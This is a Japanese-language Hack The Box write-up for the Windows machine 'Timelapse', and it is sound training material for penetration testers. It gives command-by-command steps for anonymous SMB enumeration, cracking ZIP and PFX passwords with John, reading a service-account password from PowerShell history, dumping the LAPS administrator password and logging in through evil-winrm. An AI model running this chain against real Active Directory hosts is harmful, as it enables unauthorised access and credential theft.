メインコンテンツへスキップ
  1. 記事/
  2. Writeups/

HTB: Timelapse

·
目次

概要
#

Machine: Timelapse
OS: Windows
Difficulty: Easy

ポートスキャン
#

Nmapでポートスキャンします。

sudo nmap -sC -sV <RHOST>

img

スキャン結果
#

Nmapのスキャン結果から、以下のポートが開放されていることがわかります。 WinRM(5986)が使用されていることに注意します。

ポートサービス
53/tcpDNS
88/tcpKerberos
135/tcpRPC
139/tcpNetBIOS
389/tcpLDAP
445/tcpSMB
464/tcpKerberos
593/tcpRPC
636/tcpLDAP
3268/tcpLDAP
3269/tcpLDAP
5986/tcpWinRM (HTTPS)

SMB列挙
#

smbclientで共有フォルダを一覧表示します。

smbclient -N -L <RHOST>

Sharesが見つかります。

img

Sharesにアクセスします。

smbclient -N //<RHOST>/Shares

lsコマンドで、DevHelpDeskの2つのフォルダが見つかりました。

img

mgetコマンドで、Shares配下のファイルを一括ダウンロードします。

recurse on
prompt off
mget *

ダウンロードが完了したら、exitコマンドで接続を終了します。

exit

alt text

ファイル精査
#

ダウンロードしたDevフォルダの中身を見ると、winrm_backup.zipが見つかります。 unzipコマンドで、このZIPファイルの展開を試みると、パスワード入力が求められます。

alt text

一方、HelpDeskフォルダには、ファイルが4つあります。1つはインストーラーで、ほか3つはLAPS技術に関するMicrosoft社公式ドキュメントのようです。

ZIPファイルのパスワード解析
#

ZIPファイルwinrm_backup.zipのパスワードを明らかにします。

まずは、zip2johnでパスワードハッシュを抽出します。

zip2john htb/timelapse/Dev/winrm_backup.zip > htb/timelapse/winrm_backup.hash

Johnでパスワードを解析します。ここで、ワードリストにrockyou.txtを使用します。

john --wordlist=/usr/share/wordlists/rockyou.txt htb/timelapse/winrm_backup.hash

実行結果より、パスワードはsupremelegacyであることがわかります。

img

PFXファイルのパスワード解析
#

入手したパスワードsupremelegacywinrm_backup.zipを展開します。 PFXファイルが見つかりますが、これもまたパスワードで保護されています。

先ほどと同じ要領で、PFXファイルのパスワードを明らかにします。

pfx2johnでパスワードハッシュを抽出します。

pfx2john htb/timelapse/legacyy_dev_auth.pfx > htb/timelapse/legacyy_dev_auth.hash

Johnでパスワードを解析します。ワードリストにrockyou.txtを使用します。

john --wordlist=/usr/share/wordlists/rockyou.txt htb/timelapse/legacyy_dev_auth.hash

パスワードはthuglegacyであることがわかりました。

img

秘密鍵・公開鍵の抽出
#

PFXファイルから秘密鍵と公開鍵を抽出します。

  • 秘密鍵の抽出
openssl pkcs12 -in htb/timelapse/legacyy_dev_auth.pfx -nocerts -out htb/timelapse/legacyy_dev_auth.key
  • 公開鍵の抽出
openssl pkcs12 -in htb/timelapse/legacyy_dev_auth.pfx -nokeys -out htb/timelapse/legacyy_dev_auth.crt

WinRM経由での接続 (legaccy)
#

抽出した秘密鍵と公開鍵を使って、WinRM経由でマシンに接続します。

evil-winrm -k htb/timelapse/legacyy_dev_auth.key -c htb/timelapse/legacyy_dev_auth.crt -i <RHOST> -S
-S
SSLを有効にします(標的マシンが5986ポートを使用しているため)

接続は成功しました。whoamiコマンドを実行すると、legaccyユーザーとしてログオンできていることがわかります。

img

userフラグの取得
#

legaccyユーザーのDesktop配下にuserフラグが見つかります。

alt text

typeコマンドでフラグを表示します。

type Desktop/user.txt

PowerShellコマンド履歴の閲覧
#

PowerShellのコマンド履歴を表示します。

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

ユーザー名svc_deployのパスワードがE3R$Q62^12p7PLlC%KWaxuaVであることがわかります。

img

WinRM経由での接続 (svc_deploy)
#

evil-winrm -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -i <RHOST> -S     

alt text

ReadLAPSPassword
#

whoamiコマンドで、svc_deployが所属するグループを表示してみます。

whoami /groups

alt text

LAPS_Readersという名前のグループに所属していることがわかりました。

このグループ名から、LAPSパスワードを閲覧できることが推測できます。

マシン名Timelapseの由来?

LAPSパスワードは、ms-mcs-admpwdに格納されているため、Get-ADComputerコマンドレットで表示します。

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

参考:ReadLAPSPassword | The Hacker Recipes

実行結果より、パスワードがGp&/n0ibz2JRQ4{GSTJ);P;0であることがわかります。

WinRM経由での接続 (administrator)
#

入手したパスワードを使い、administratorユーザーとしてマシンに接続してみます。

evil-winrm -u administrator -p 'Gp&/n0ibz2JRQ4{GSTJ);P;0' -i <RHOST> -S

見事、管理者権限でマシンに接続することができました。

img

rootフラグの取得
#

TRXユーザーのDesktop配下にrootフラグが見つかります。

alt text

関連ページ
#

今回のWriteupで使用したペネトレツールなど、関連ページを紹介します。